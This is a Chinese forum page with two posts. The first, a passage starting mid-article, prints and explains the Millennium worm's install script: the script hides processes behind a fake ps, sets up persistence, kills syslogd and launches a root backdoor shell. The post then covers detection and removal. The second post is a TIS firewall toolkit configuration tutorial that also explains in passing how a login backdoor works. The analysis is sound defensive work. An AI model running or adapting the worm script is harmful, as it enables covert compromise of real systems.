export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."

if [ -f /bin/.ps ]
then
printf ""
else
./README-ADMINS >/dev/null 2>/dev/null &
mv /bin/ps /bin/.ps;echo "/bin/.ps \$* | grep -v ps | grep -v mw | \
grep -v grep" >> /bin/ps ; chmod 755 /bin/ps
if [ -f /etc/rc.d/rc.local ]
then
echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & " \
>> /etc/rc.d/rc.local
else
echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & " \
>> /etc/profile
fi
chattr +ia /tmp/..../*.c /tmp/..../mwd* /tmp/..../prepare /bin/.mwsh
chattr +ia /etc/rc.d/rc.local /etc/profile /tmp/..../mwo* /tmp/..../IP
chattr -ia /tmp/..../mount_*.c
fi

killall -q -9 syslogd

gcc -Wall -O2 Hnamed.c -o Hnamed
gcc -Wall -O2 mwr.c -o mwr
gcc -Wall -O2 q.c -o q
gcc -Wall -O2 remotecmd.c -o remotecmd
gcc -Wall -O2 test.c -o test
gcc -Wall -O2 bd.c -o bd
gcc -Wall -O2 im.c -o im
gcc -Wall -O2 qp.c -o qp
gcc -Wall -O2 mws.c -o mws
gcc -Wall -O2 ftpscan.c -o ftpscan
gcc -Wall -O2 ftpx.c -o ftpx
rpc=`which rpcgen`
which rpcgen && $rpc -C mount.x && gcc -Wall -O2 mountd.c -o mountd

/bin/.mwsh -c ./bd &


不用多说了,这段脚本执行了下面的工作:

运行了"README-ADMINS",将主机弄安全些。
将ps用假的替换掉,以便隐藏该worm
将自己加到系统开始时的rc文件中
将worm的文件变为不可更改,不可删除——但root可以用chattr来改变
杀掉syslogd
运行bd,打开1338的root shell允许远程root以millennium密码登入

三、删除蠕虫

1、检测主机:

/etc/passwd中有一个密码为空的mw帐号
/tmp/.mwsh存在并且是一个suid的root shell
/tmp/....夹存在并且里面有worm的一些文件
/etc/rc.d/rc.local的文件被更改并且放入了mworm,以便自启动
/etc/profile文件被更改
syslogd进程莫名其妙地终止了
mountd被停掉了
dns服务被过滤掉
qpop和imap被升级了;)
/etc/hosts.deny和/etc/hosts.allow被清空
下面的进程在跑.mwsh, mworm, Hnamed, remotecmd, mwd, mwd-ftp,
mwd-imap, mwd-pop, mwd-mountd, ps ("bd" 的后门伪装成的ps)


2、检查网络:

有email外发至trax31337@hotmail.com
有名为mw的用户从ftpd服务登入或者收到mworm.tgz文件
(这两个检测并不一定准确,因为syslogd被停了,如果有设代理的话则可能在代理的记录里可能找到)
tcp连接到端口1338——绑定的后门
从53端口的外发信息——可能是bind漏洞攻击
从110端口的外发信息——可能是qpopper漏洞攻击
从143端口的外发信息——可能是imapd漏洞攻击
从635端口的外发信息——可能是rpc.mountd漏洞的攻击
从23端口的外发信息——可能是worm在通过remotecmd散布


3、预防

升级——worm是利用系统的远程漏洞获得roo权限才能攻击的,如果升级到最新的版本,就不会存在这些特殊而且明显的漏洞了,那么也就有效地将worm阻于门外,不过要记住,任何一个攻击者都可以轻易地将这个worm稍加更改用于现在的系统,现在的漏洞,来攻击你现在的机器;),所以最的的办法只能是关注网络安全;)

红帽子的用户可以到http://www.redhat.com/errata/获取相关信息

4、修复

如果已经被worm感染的话,要修复它是很容易的,你只需要:

删除suid的root shell[/bin/rm -rf /tmp/.mwsh]
停止运行中的worm进程[/usr/bin/killall -9 mworm]
去除在mworm文件上的写保护标记[/usr/bin/chattr -R -ia /tmp/....]
删除worm文件[/bin/rm -rf /tmp/....]
将正常的ps文件拷回去[/bin/cp /bin/.ps /bin/ps]——最好重新build一个吧;)
将mw用户从/etc/passwd中移除[/usr/sbin/userdel -r mw]
将worm的自启动的东西从/etc/rc.d/rc.local及/etc/profile中删除
杀掉bd的后门的进程,如果你已经删掉了worm的文件,重新启动就可以去掉它了

如果你已经被worm所感染的话,那至少表明你的系统曾经完全地被别人拥有过,他有能力对系统做任何事,所以仅仅杀掉worm的进程,删除其文件,删除mw的用户等工作仅仅是去掉了一些公式化的东西,所以不能保证你的机器里还有些什么新奇有趣的后门或者其它东西,最好的办法——还是关注安全……

一光年的距离 2009-04-23 18:02
TIS防火墙详述

by quack

什么是防火墙——不知道;)

什么是TIS?——这是一组由(Trusted Information Systems)写的一组构造防火墙的工具包,又叫firewall toolkit,这个工具箱里的软件适当的安装并配置以一定的安全策略就可以构成基本的防火墙了,而且它是免费的;)花点心思看一看,说不定可以省下一笔不菲的防火墙购置资金哦……

一、编译运行

1、下载

可以到TIS的web站点下载http://www.tis.com,但它有一些很麻烦的认证过程,建议直接到国内的安全站点转转,或者到http://packetstorm.securify.com/去下载,我得到的版本是fwtk2.1.tar.Z的版本,此后的说明均以此版本为例,且在solaris7 x86上通过,gcc版本为2.95.2。

2、编译

# gunzip fwtk2.1.tar.Z
# tar vfx fwtk2.1.tar
# cd fwtk

将fwtk2.1.tar.Z解压后,可以在./fwtk目录下发现有很多Makefile.config.*文件,比如你使用的操作系统是solaris2.7,那么就直接将Makefile.config更名后,把Makefile.config.solaris更名为Makefile.config就行了。

# mv Makefile.config Makefile.config.old
# mv Makefile.config.solaris Makefile.config

在solaris下的编译相当容易——至少solaris7与solaris8下面不用修改任何东西就可以编译通过了。

# make && make install

如果你使用的是linux,仅仅把Makefile.config.linux当成当前Makefile.config还不够,因为如果你要使用X的gw.那么你必须有 Athena Widget的设置。否则编译会出问题。因此,可以修改Makefile让系统不编译x-gw。所以可以

# vi Makefile

查找下面这行:

# directories to build executables in
DIRS= smap smapd netacl plug-gw ftp-gw tn-gw rlogin-gw http-gw x-gw

把后面的x-gw去掉就可以了。

如果是在bsd下,特别要注意,bsd的make 不认识象:.include "Makefile.config"这种格式,因此,在bsd下要用TIS提供的fixmake来处理。或者用指定CC= gcc COPT= -g -traditional -DBSDI 来适应bsd系统——比如我的FreeBSD3.4。

如果在编译过程中有出现sys_errlist的定义声明出错,那么要修改原程序,比如:
exter char *sys_errlist[];把该行注释掉。

如果出现"Undefined symbol `_crypt' referenced from text segment"错误,则看在你的Makefile.config中AUXLIB设置是否有"-lcrypt"。

这里列出了人们在编译及使用tis时遇到的一些常见问题。

二、配置前的准备工作

1、理解一些概念

a、wrapper

我的理解,wrapper应该是一个包装程序,说白了和那些login什么的后门没本质区别;)比如说tcpd吧,我们用它来守护一些网络服务守护进程,比如,在超级服务守护进程inetd的配置文件中,我们可以将

finger stream tcp nowait nobody /usr/etc/in.finger in.fingerd这一句替换掉,用tcpd来包装

finger stream tcp nowait nobody /usr/etc/tcpd in.fingerd

发送一个HUP信号给inetd让它重启后,tcpd就发生作用了,如果此时收到一个对主机的finger请求,tcpd便启动,先检查访问控制的配置文件,也就是/etc/hosts.allow和/etc/hosts.deny,如果允许访问,再启动真正的finger守护进程去处理该请求。

怎么样,和login的后门相比原理是不是相同的?比如ulogin.c吧,是将真正的login改名备份到另一个地方,用假的login包装起来,收到login请求时,先判断访问者是不是有设置DISPLAY的环境变量,如果该变量和password相同的话,则启动/bin/sh,如果没有,则以正常的login来响应该请求……哎,这是题外话,不说了……

b、gateway

应用级网关(Application Level Gateways)是在网络应用层上建立协议过滤和转发功能。它针对特定的网络应用服务协议使用指定的数据过滤逻辑,并在过滤的同时,对数据包进行必要的分析、登记和统计,形成报告。

呵,这种教材似的东西看着是不是觉得难理解,看了半天不知所云?其实在TIS下面,它的各种gw比如tn-gw,是控制telnet的,当你连接到tn-gw运行的端口时,它会出现一个自己的提示符……如下:

C:\>telnet 192.168.0.2
然后telnet窗口将出现
hi,i'm quack,welcome to my 3cr19TkI7's website! <------------这是我的tn-welcome.txt
tn-gw-> 它会在在连接时显示……
当我键入问号寻求帮助时,会有如下的提示信息……
tn-gw->?
Valid commands are: (unique abbreviations may be used)
connect hostname [serv/port]
telnet hostname [serv/port]
x-gw [hostname/display]
help/?
password
timeout seconds
quit/exit
tn-gw->
看明白了吗,唔,没错,它提供的是穿越这台防火墙主机对其它机器的telnet访问;)
tn-gw-> telnet 192.168.0.2 55555
Trying 192.168.0.2 port -9981...
Connected to 192.168.0.2.

SunOS 5.7

login: quack
Password:
Last login: Fri Jun 9 00:27:48 from 192.168.0.1
Sun Microsystems Inc. SunOS 5.7 Generic October 1998
Cracker%

这下清楚了吧……稍安勿燥,后面我将说明这是如何配置的。

c、proxy

代理服务(Proxy Service)也称链路级网关或TCP通道(Circuit Level Gateways or TCP Tunnels),也有人将它归于应用级网关一类。它是针对数据包过滤和应用网关技术存在的缺点而引入的防火墙技术,其特点是将所有跨越防火墙的网络通信链路分为两段。防火墙内外计算机系统间应用层的"链接",由两个终止代理服务器上的"链接"来实现,外部计算机的网络链路只能到达代理服务器,从而起到了隔离防火墙内外计算机系统的作用。此外,代理服务也对过往的数据包进行分析、注册登记,形成报告,同时当发现被攻击迹象时会向网络管理员发出警报,并保留攻击痕迹。

2、文件介绍

默认的安装,TIS是安装在/usr/local/etc目录下的,现在我们来看看里面都有些什么吧

# cd /usr/local/etc
# ls -la
总数1092
drwxr-xr-x 2 root other 512 6月 6 17:05 .
drwxr-xr-x 11 root other 512 6月 6 17:02 ..
-rwxr-xr-x 1 root other 17012 6月 6 17:05 authdump
-rwxr-xr-x 1 root other 18752 6月 6 17:05 authload
-rwxr-xr-x 1 root other 23132 6月 6 17:05 authmgr
-rwxr-xr-x 1 root other 47500 6月 6 17:05 authsrv
-rwxr-xr-x 1 root other 50952 6月 6 17:05 ftp-gw
-rwxr-xr-x 1 root other 117712 6月 6 17:05 http-gw
-rwxr-x--- 1 root other 362 6月 6 17:05 mqueue
-rwxr-xr-x 1 root other 26820 6月 6 17:05 netacl
-rw-r--r-- 1 root other 3101 6月 6 17:05 netperm-table
-rwxr-xr-x 1 root other 30308 6月 6 17:05 plug-gw
-rwxr-xr-x 1 root other 45892 6月 6 17:05 rlogin-gw
-rwxr-xr-x 1 root other 31436 6月 6 17:05 smap
-rwxr-xr-x 1 root other 28772 6月 6 17:05 smapd
-rwxr-xr-x 1 root other 49940 6月 6 17:05 tn-gw
-rwxr-xr-x 1 root other 44792 6月 6 17:05 x-gw

一个一个来解释吧……

a.authdump:这是对TIS认证数据库进行管理的工具,它可以在数据库中建立信息的ASCII文本形式的备份。其中的密码是加密后输出的。

b.authload:也是认证数据库管理工具,它对数据库中的单个记录进行处理,这个命令在你需要向数据库中添加一组条目或者需要在两个站点之间共享数据库时特别有用。

c.authmgr:网络认证的客户程序,它是与认证方authsrv的接口。是用来访问网络上的认证服务器或者加密连接时用的。

d.authsrv:第三方网络认证守护程序,它提供了多种谁形式的综合接口,比如口令、一次性口令或者令牌认证系统,它里面有一个包含用户和组记录的数据库,并且还有一个管理接口,允许一个获得认证的管理员管理本地或网络上的用户记录。后面会说它的配置的。

e.ftp-gw:
它是带有日志记录和访问控制的可以穿越的FTP代理服务。

f.http-gw:
带有日志记录和访问控制的gopher和http代理服务。

g.mqueue:
不知是不是message queue?不太懂……:(

h.netacl:
TCP网络访问控制,由inetd调用,对各种服务提供包装。

i.netperm-table:
所有各种服务的配置文件。

j.plug-gw:
通用的一个tcp连接代理服务程序。

k.rlogin-gw:
这是提供穿过rlogin的代理服务——r系统服务的危险大家是都知道的了,如果非要不可,用它来提供包装吧

l.smap:
sendmail包装程序——客户端,它实现了smtp的最小版本,接受来自网络的消息,并发给smapd由它作进一步传送,它一般是运行在chroot下的。

m.smapd:
sendmail包装程序——守护程序,它通过定期扫描由smap维护的邮件缓冲池区域并转发搜集和保存在那里的任意消息。

n.tn-gw:
telnet的代理服务器。

o.x-gw:
X网关服务器。

3、系统准备

a.去除IP转发

你的机器有两块网卡么?
如果你不想你的防火墙轻易被人穿越,就得老老实实把IP转发功能干掉,因为IP转发会导致从一个接口接收到的报文重新转发到所有其它适用的接口——一般去除IP转发可能要重新配置内核。
默认情况下,如果Solaris机器有超过一块的网卡的话,它将会在不同网卡间转发数据包,这一行为可以在/etc/init.d/inetinit中得到控制。要在Solaris 2.4或者更低版本机器下关闭它,可以将ndd -set /dev/ip ip_forwarding 0添加于/etc/init.d/inetinit的未尾。在Solaris 2.5中,只要touch /etc/notrouter. 如果是SunOS4.1x,则在内核运行adb,在核心配置文件中加入options "IPFORWARDING=-1"并重新编译生成新的内核。至于linux,你试着make menuconfig,找到IP:forwarding/gatewaying,将
CONFIG_IP_FORWARD关掉,重新编译即可。其它的类似吧,自己琢磨琢磨,我也不会;)

b.移除/etc/inetd.conf及/etc/rc2.d/内不必要的服务

首先可以用
# ps -elf
看看系统启动时启动的服务
你可以暂时先把/etc/inetd.conf内的所有服务都屏蔽掉——在每一项前面加上#号使其失效——因为稍后我们将用netacl或者各种*-gw来包装这些服务——启动的inetd.conf总是要改的;)
并非所有的进程都是由inetd这一超级服务器守护进程来启动的,有一些直接在rc2.d里定义,直接在系统启动时就运行,如果你有运行下列服务的话,最好也关掉:
pcnfsd
rwhod
mountd
protmap
sendmail
named
printer
timed
nfsd
rstatd
xntpd
nfsiod
有些服务的关闭可能会影响系统服务,需要你自行分析了……。

三、配置

1、netperm-table

这是防火墙工具箱里所有东西——netacl,smap,ftp-gw,tn-gw,plug-gw等的配置文件,当一个应用被启动时,它就会从netperm-table中读取出自己相关的配置和许可信息的策略文件。下面把默认安装后的netperm-table贴出来——它有许多注解的

#
# netperm配置表的示例文件
#
# 要更好地利用地这个netperm-table,最好把你的主机名用IP地址来替代
# (e.g.; 666.777.888),这样比较不容易受到DNS欺骗的侵害。
#

# netacl示例规则:
# ---------------------
# 下面两行的注释如果去掉,将启动telnet
#netacl-telnetd: permit-hosts 127.0.0.1 -exec /usr/libexec/telnetd
#netacl-telnetd: permit-hosts YOURADDRESS 198.6.73.2 -exec /usr/libexec/telnetd
#
# 下面这行是tn-gw的
#netacl-telnetd: permit-hosts * -exec /usr/local/etc/tn-gw
#
# 下面是rlogin
#netacl-rlogind: permit-hosts 127.0.0.1 -exec /usr/libexec/rlogind -a
#netacl-rlogind: permit-hosts YOURADDRESS 198.6.73.2 -exec /usr/libexec/rlogind -a
#
# rlogin-gw的配置
#netacl-rlogind: permit-hosts * -exec /usr/local/etc/rlogin-gw

#
# 要将finger使能,把下面两行的注释去掉
#netacl-fingerd: permit-hosts YOURNET.* -exec /usr/libexec/fingerd
#netacl-fingerd: permit-hosts * -exec /bin/cat /usr/local/etc/finger.txt

# smap规则示例:
# -------------------
smap, smapd: userid 6
smap, smapd: directory /var/spool/smap
smapd: executable /usr/local/etc/smapd
smapd: sendmail /usr/sbin/sendmail
smap: timeout 3600

# ftp gateway 规则示例:
# --------------------------
#ftp-gw: denial-msg /usr/local/etc/ftp-deny.txt
#ftp-gw: welcome-msg /usr/local/etc/ftp-welcome.txt
#ftp-gw: help-msg /usr/local/etc/ftp-help.txt
ftp-gw: timeout 3600
# uncomment the following line if you want internal users to be
# able to do FTP with the internet
#ftp-gw: permit-hosts YOURNET.*
# uncomment the following line if you want external users to be
# able to do FTP with the internal network using authentication
#ftp-gw: permit-hosts * -authall -log { retr stor }

# telnet gateway规则示例:
# -----------------------------
#tn-gw: denial-msg /usr/local/etc/tn-deny.txt
#tn-gw: welcome-msg /usr/local/etc/tn-welcome.txt
#tn-gw: help-msg /usr/local/etc/tn-help.txt
tn-gw: timeout 3600
tn-gw: permit-hosts YOURNET.* -passok -xok
# if this line is uncommented incoming traffic is permitted WITH
# authentication required
#tn-gw: permit-hosts * -auth

# rlogin gateway规则:
# -----------------------------
#rlogin-gw: denial-msg /usr/local/etc/rlogin-deny.txt
#rlogin-gw: welcome-msg /usr/local/etc/rlogin-welcome.txt
#rlogin-gw: help-msg /usr/local/etc/rlogin-help.txt
rlogin-gw: timeout 3600
rlogin-gw: permit-hosts YOURNET.* -passok -xok
# if this line is uncommented incoming traffic is permitted WITH
# authentication required
#rlogin-gw: permit-hosts * -auth -xok


# auth server and client的规则示例
# ------------------------------------
authsrv: hosts 127.0.0.1
authsrv: database /usr/local/etc/fw-authdb
authsrv: badsleep 1200
authsrv: nobogus true

# clients using the auth server
*: authserver 127.0.0.1 7777

# X代理的规则:
tn-gw, rlogin-gw: xforwarder /usr/local/etc/x-gw

一头雾水是吧……我来归结一下……
a.每一条规则都是按照要使用该规则的程序的名字开头,后跟一个冒号,当程序读取时也只读取其相关的规则。
b.多个应用可以共用一条规则,各应用名字用逗号隔开或者用星号来通配——当然我不建议你这么做,这样简单是简单了,但维护或者阅读起来会比较烦。不多说了,在各种服务中再慢慢谈配置吧。

2、netacl

这里我示例配置用netacl包装telnet以及ftp守护程序
首先我们在/etc/inetd.conf里添上下面两行——记得吗,前边我们disable了它们了;)

ftp stream tcp nowait root /usr/local/etc/netacl in.ftpd
telnet stream tcp nowait root /usr/local/etc/netacl in.telnetd

这根据你自己的不同来决定,比如你的守护进程是ftpd和telnetd,把in.ftpd及in.telnetd改
成它们好了。然后ps -ef|grep inetd找出进程号后发送HUP信号重启。

修改/usr/local/etc/netperm-table中相关条目如下:

# telnet rules:

netacl-in.telnetd: permit-hosts 192.168.0.1 -exec /usr/sbin/in.telnetd

#这里我只允许从192.168.0.1这台机器telnet上来,所以连localhost都不行:)

netacl-in.telnetd: deny-hosts unknow

#要注意这条信息哦,这是防止网络中恶意用户的IP spoof 的办法,这样,你就可以让地址192.168.0.2 telnet到你机器上 ,而除了它之外的所有地址,会被显示一条警告信息。最后一条保证了如果你主机的IN.APPR.ARPA反向DNS查询主机名错误的时候,该不知名的远程机器无法telnet进来。(DNS spoof)

netacl-in.telnetd: permit-hosts * -exec /bin/cat /usr/local/etc/notelnet.txt

#这条会在不允许登陆时显示一条信息——你可以自己编辑内容。
#
# Ftp Rules:

netacl-in.ftpd: permit-hosts 127.0.0.1 -exec /usr/sbin/in.ftpd

#这条只允许本地机器localhost的ftp其它都被拒绝

netacl-in.ftpd: permit-hosts * -exec /bin/cat /usr/local/etc/noftp.txt

#对被拒绝的机器显示这一信息

OK,现在我们来测试一下我们的配置是否正常工作……
我从192.168.0.1上telnet目标机器192.168.0.2
SunOS 5.7

login: ronin
Password:
Last login: Sat Jun 10 18:00:34 from 192.168.0.1
Sun Microsystems Inc. SunOS 5.7 Generic October 1998
Cracker%

唔,正常得很,看看阻塞的规则是否工作吧,我们就从localhost telnet本地吧……

Cracker% telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
here is notelnet.txt file,means you can't access this host. <---我的notelnet.txt内容
Connection closed by foreign host.
Cracker%

FTP的测试也是类似的,就不再多说了……

总结netacl的规则有如下表达:

permit-host ip/hostname 指定允许主机
deny-host ip/hostname 指定拒绝主机,被拒绝的主机会被syslogd记录
-exec executable[args] 为处理服务而激活的程序
-user userid 程序启动时的身份——以root或者nobody等等
-chroot rootdir 标识在调用服务程序前的chroot目录

3、认证系统:

对于这个认证系统,也同样要编辑/etc/services,添加

authsrv 3333/tcp

然后在/etc/inetd.conf中加入一行

authsrv stream tcp nowait root /usr/local/etc/authsrv authsrv

# ./authsrv <-----------------运行authsrv
authsrv# ? <-----------------它就跳出来authsrv#字样,我要看帮助,
键?,得到下面的输出

Command List:
(Commands may be invoked with unique leading abbreviation)
authorize username [comment]
authenticate username
response <text>
quit
exit
display username
adduser username [fullname] <----------添加用户
deluser username
enable username [onetime] <----------给用户使能
disable username
password [username] passwordtext <----------设密码
passwd [username] passwordtext
proto username protoname <----------标志用户使用的认证协议
group username groupname <----------设组别
rename username newname [fullname]
wiz username
unwiz username
superwiz username
operation group/user username command dest [tokens]
list [group]
ls [group]
?
help

authsrv# adduser wlj <--------------我在加用户了
ok - user added initially disabled
authsrv# password wlj wlj <-------------设密码,xixi,passwd=username,so easy to crack
Password for wlj changed.
authsrv# group wlj other <-------------设组别
set group
authsrv# enable wlj <-------------使能
enabled
authsrv# wiz wlj
set group-wizard
authsrv# superwiz wlj
set wizard
authsrv# ls <-------------现在看看……
Report for users in database
user group longname status proto last
---- ----- -------- ------ ----- ----
user n passw never
wlj other y G passw never

搞定了这个就可以试试authmgr的情况了……

前面提到的authmgr这个客户程序则是用法如下:

Cracker# ./authmgr
Connected to server
authmgr-> login
Username: wlj
Password:
Logged in
authmgr-> list
Report for users in database
user group longname status proto last
---- ----- -------- ------ ----- ----
admin root y W passw never
wlj other y G passw Sat Jun 10 11:26:18 2000
authmgr->

至于认证服务器也有它的规则,比如我的机器上的是这样的:

# Example auth server and client rules
# ------------------------------------
authsrv: hosts 127.0.0.1
authsrv: database /usr/local/etc/fw-authdb
authsrv: badsleep 1200
authsrv: nobogus true

# clients using the auth server
*: authserver 127.0.0.1 3333

说说它的规则吧……关于authsrv可以有下面的规则项:

database pathname 指定authsrv数据库的数径
nobogus true 当用户认证失败返回一个友好的错误消息
badsleep seconds 对尝试口令的登陆的限制
userid name 指定authsrv运行的PID
hosts host-pattern[key] 跟加密有关的了
operation user id telnet-gw host +
+————>存储在netperm-table中的操作规则
|
operation user id ftp-gw host put +

怎么样,看得明白么?我写得太乱,但实在表达不好;(不明白的话自己查帮助吧……


4、ftp-gw

现在要来配置ftp代理了,一般情况下,你可能希望既运行ftp代理又运行正常的ftp服务,这样要对几个文件进行处理,首先编辑/etc/services,加入以下行:

ronin 4444/tcp

然后在文件/etc/inetd.conf中把与FTP相关的行改为如下:

ftp stream tcp nowait root /usr/local/etc/ftp-gw ftp-gw
ronin stream tcp nowait root /usr/local/etc/netacl in.ftpd

其中第二行的意思是配合/etc/services文件,将普通ftp端口移至4444,并以netacl包装。
而第一行就是我们的ftp-gw了。

重启进程后,用端口扫描可以看到4444端口是打开的,可以直接连通。
我们现在应该来配置ftp-gw的规则了——打开文件/usr/local/etc/netperm-table:

# Example ftp gateway rules:
# --------------------------
ftp-gw: denial-msg /usr/local/etc/ftp-deny.txt
# 对拒绝访问者的信息
ftp-gw: welcome-msg /usr/local/etc/ftp-welcome.txt
# 欢迎信息
#ftp-gw: help-msg /usr/local/etc/ftp-help.txt
ftp-gw: timeout 3600
# 这里设定超时的时间
# uncomment the following line if you want internal users to be
# able to do FTP with the internet
#ftp-gw: permit-hosts YOURNET.*
ftp-gw: hosts 192.168.0.*
# 允许192.168.0.*的这些机器登陆
ftp-gw: authserver localhost 3333
# 认证服务器是本地机器,端口为3333 <---------刚才在认证服务中定义的

它的程序规则如下:

userid user 指定了用户ID
directory pathname ftp-gw之前的chroot目录
denial-msg filename 访问拒绝时显示的文件
welcome-msg filename 欢迎信息文件
help-msg filename 帮助信息文件
denydest-msg filename 受限制的访问显示文件
timeout secondvalue 超时设置

主机访问选项如下:

-dest pattern 标志一个有效目标
-dest {pattern1 pattern2……} 标志一组有效目标
-auth 说明代理要求用户出示有效ID证明才允许使用
-passok 如果来自受托主机,则允许修改口令

下面我们来验证一下,先ftp到4444的netacl控制端口……

C:\>ftp
ftp> o 192.168.0.2 4444
Connected to 192.168.0.2.
sorry, you can't allow to access the ftp site! <-------定义的noftp.txt……
Connection closed by remote host.
ftp>

阻塞规则起作用了……

然后来试试代理吧:

C:\>ftp 192.168.0.2
Connected to 192.168.0.2.
220 i am quack, welcome ^&^
User (192.168.0.2:(none)): wlj@localhost <---------记得我刚才输入的认证用户么?
331-(----GATEWAY CONNECTED TO localhost----)
331-(220 i am quack, welcome ^&^)
331 Enter authentication password for wlj
Password:
230 User authenticated to proxy
ftp>

成功连接了……至于允许及阻塞的规则——自己制订去吧。

5、tn-gw

和配置FTP没有什么两样,编辑/etc/services、/etc/inetd.conf、
/usr/local/etc/netperm-table等文件,定义好端口、规则……就不多说了。

6、plug-gw\rlogin-gw\http-gw\x-gw:这些代理的配置也大同小异,读者可以自行研究。

7、smap\smapd:至于这个,我没有配sendmail,也懒得弄了——没有尝试不敢胡说……

四、附加工具包

在tis的./tools/目录有一些管理工具,利用它们可以完成一些系统管理功能,但是,可能是下载的版本的原因吧,我在packetstorm下载到的版本无法直接编译安装通过,问题有二,一是./tools/server/下有个syslog,得改成syslogd,还有就是make install时工具没法装到正确的目录,你可以修改一下Makefile或者干脆自已动手拷贝——还要快些:)

这些工具如下:

./tools/admin/

1、flog

这个东西是监视某一log文件的实时变化的工具,作者自述在控制台工作时经常运行tail -f /usr/adm/syslog来实时察看log文件的变化,以确定系统的运行情况,而flog是一个更加聪明的工具——你可以简单地键入flog&来运行它,默认情况下它察看的是/var/log/messages——你可以在编译的时候自己定义它。

或者你可以用flog /var/log/auth.log&来察看其它的文件。

2、portscan

这东东似乎没必要多说——任谁看portscan也知道是个端口扫描工具了……

usage: portscan [-l low port] [-h high port] [-v] host

最简单直接的就是:./portscan localhost了……确定现在有哪些端口在提供服务。如果用-v host参数也会得到一个冗余的输出——每个端口打印一个小圆点……通过这个输出你可以判断它是不是还在跑……

3、netscan

这是一个网络ping程序,它将网络地址做为参数接受,并且ping该网络中的每个地址。它的缺省输出是一组响应ping的地址列表及对应的主机名字。比如你可以用下面方式运行:
# ./netscan 202.101.103

它会依次ping每个地址,并将有响应——就是存活的主机返回。

它还可以以冗余方式运行。在这种方式下,响应ping的地址与其名字放在一起或者左对齐,没有响应的地址则会缩排,以tab方式缩进一个制表空格。可以用

# ./netscan -v 202.101.103

得到冗余方式的输出。

4、progmail

这是一个简单的发送邮件的程序,要安装它,你可以将它拷贝到/usr/local/etc/中,
然后修改sendmail.cf中的行:

Mprog, P=/bin/sh, F=lsDFMeuP, S=10, R=20, A=sh -c $u

将其改为:

Mprog, P=/usr/local/etc/progmail, F=lsDFMeuP, S=10, R=20, A=sh -c $u

5、reporting

# ls -la
-rw-r----- 1 ronin other 2126 1994 11月 5 authsrv-summ.sh
-rw-r----- 1 ronin other 962 1994 11月 5 daily-report.sh
-rw-r----- 1 ronin other 4799 1996 11月 27 deny-summ.sh
-rw-r----- 1 ronin other 2757 1994 11月 5 ftp-summ.sh
-rw-r----- 1 ronin other 2796 1994 11月 5 http-summ.sh
-rw-r----- 1 ronin other 247 1994 11月 5 login-summ.sh
-rw-r----- 1 ronin other 2048 1994 11月 5 netacl-summ.sh
-rw-r----- 1 ronin other 2017 1994 11月 5 smap-summ.sh
-rw-r----- 1 ronin other 2256 1994 11月 5 tn-gw-summ.sh
-rw-r----- 1 ronin other 960 1994 11月 5 today-report.sh
-rw-r----- 1 ronin other 962 1994 11月 5 weekly-report.sh

这些东西不言而明是shell script写成的日志统计工具了,自己看看代码吧……

然后在client及server目录下还有以下工具——作个简略介绍吧:

ftpd - a version of ftpd that uses the auth server
login-sh - a login shell wrapper that uses the auth server
(see the man pages)
syslog - a version of the 4.3bsd syslog that uses regexps
gate-ftp - If invoked as "gate-ftp", the environment variable FTPSERVER is
searched for, and is contacted as a proxy ftp gateway. Autologin in done
through the proxy. If FTPSERVERPORT is set, that is used as the port
number for the gateway server.
tn - a simple "expect" script that handles telnetting out through
the proxy automatically

结论:上面说了这么多,其实只是说明一些基本的配置,至于你自己的网络如何用这一防火墙来将入侵者阻挡于大门之外,这需要你自行分析你的安全策略、网络结构等等再灵活地运用这些防火墙工具及规则来确保安全。

附1、一些tip 译自fwtk faq 一文

1、我如何在toolkit里使用S/KEYS?

First, you must obtain the SecureID library from Axent Technologies (Security Dynamics)
or the Skey library. In order to compile the SecureID with the toolkit, change the
"tis_sd_init" reference in securid.c to "sd_init". The "tis_" variant is a TIS fix that
ships with Gauntlet since the SecurID software won't work well with multi-homed hosts.
For both, you need to edit the Makefile in the auth directory for the proper modules to be
compiled and linked. Remove the "#" from the "SKEYDIR=" (etc..) lines and re-make.

#if you are using the SKEY modules, define SKEYDIR to be the source
#directory where the SKEY libraries and include files are.
#SKEYDIR=../../skey
#SKEYINC= -I$(SKEYDIR)
#SKEYLIB= $(SKEYDIR)/libskey.a
#SKEYOBJ= skey.o
#if you are using the SecurID module, define SECURDIR to be the source
#directory where the SecurID libraries and include files are.
#SECURDIR= /var/ace/client
#SECURLIB= $(SECURDIR)/sdclient.a $(FWLIB) #SECURINC= -I$(SECURDIR)
#SECUROBJ= securid.o

2、 我如何在netperm-table指定一个子网掩码?

使用如"network-number:netmask"之类的格式,下面是示例:

111.222.0.0:255.255.0.0

这一特性在FWTK 2.x以上的版本才有效哦。

3、为什么当我要打开proxy时得到"inetd: xxx-gw/tcp: unknown service"的错误提示?

这表示在你/etc/inetd.conf中要打开的服务与/etc/services中定义的有冲突。

举例来说,你的inetd.conf文件中有如下行:

ftp-gw stream tcp nowait root /usr/local/etc/ftp-gw ftp-gw
最后就是指服务——service的名乐,把它改为ftp就OK了。

如果你运行的是Solaris 2.x,可能还要参考/etc/nsswitch.conf文件。


4、我如何将FWTK的log文件与其它标准syslog文件隔开?

可以编辑firewall.h:

找到下面的行:
#define LFAC LOG_DAEMON
替换为
#define LFAC LOG_LOCAL6

然后将:
local6.* /var/log/fwtk
扔到syslog.conf里面去,然后把类似下面这行的东东干掉

*.info;local6,mail.none /var/log/messages

当然,在你的netperm-table里面要用-log的选项打开记录功能哦。

5、我如何为不同的服务建立分开的log文件?

按照如下形式来编辑你的/etc/syslog.conf文件吧——具体内容可以参看syslog.conf的
man page。

# patterns to match for
"authsrv" /home/log/auth
"netacl.*fingerd" /home/log/in-fingerd
"netacl.*telnetd" /home/log/in-telnetd
"smap" /home/log/smap
"ftp-gw" /home/log/ftp-gw
"plug-gw" /home/log/plug-gw
"rlogin-gw" /home/log/rlogin-gw
"tn-gw" /home/log/tn-gw
# Standard system logs
*.emerg;*.alert;*.crit;*.err;*.warning;*.notice;*.info;*.debug /var/adm/messages
*.emerg *
*.emerg;*.crit /dev/console

最后,发送HUP信号给syslogd来重启进程就OK了。

附2、一些相关术语(摘自防火墙的选型、配置、安装和维护一书)

1、防火墙(firewall):在被保护网络和因特网之间,或在其它网络之间限制访问的一种或一系列部件。
2、主机(host):连接到网络上的计算机系统,它可以是各种类型的机器,如SUN工作站,PC或者IBM主机等等,也可以运行不同的操作系统。
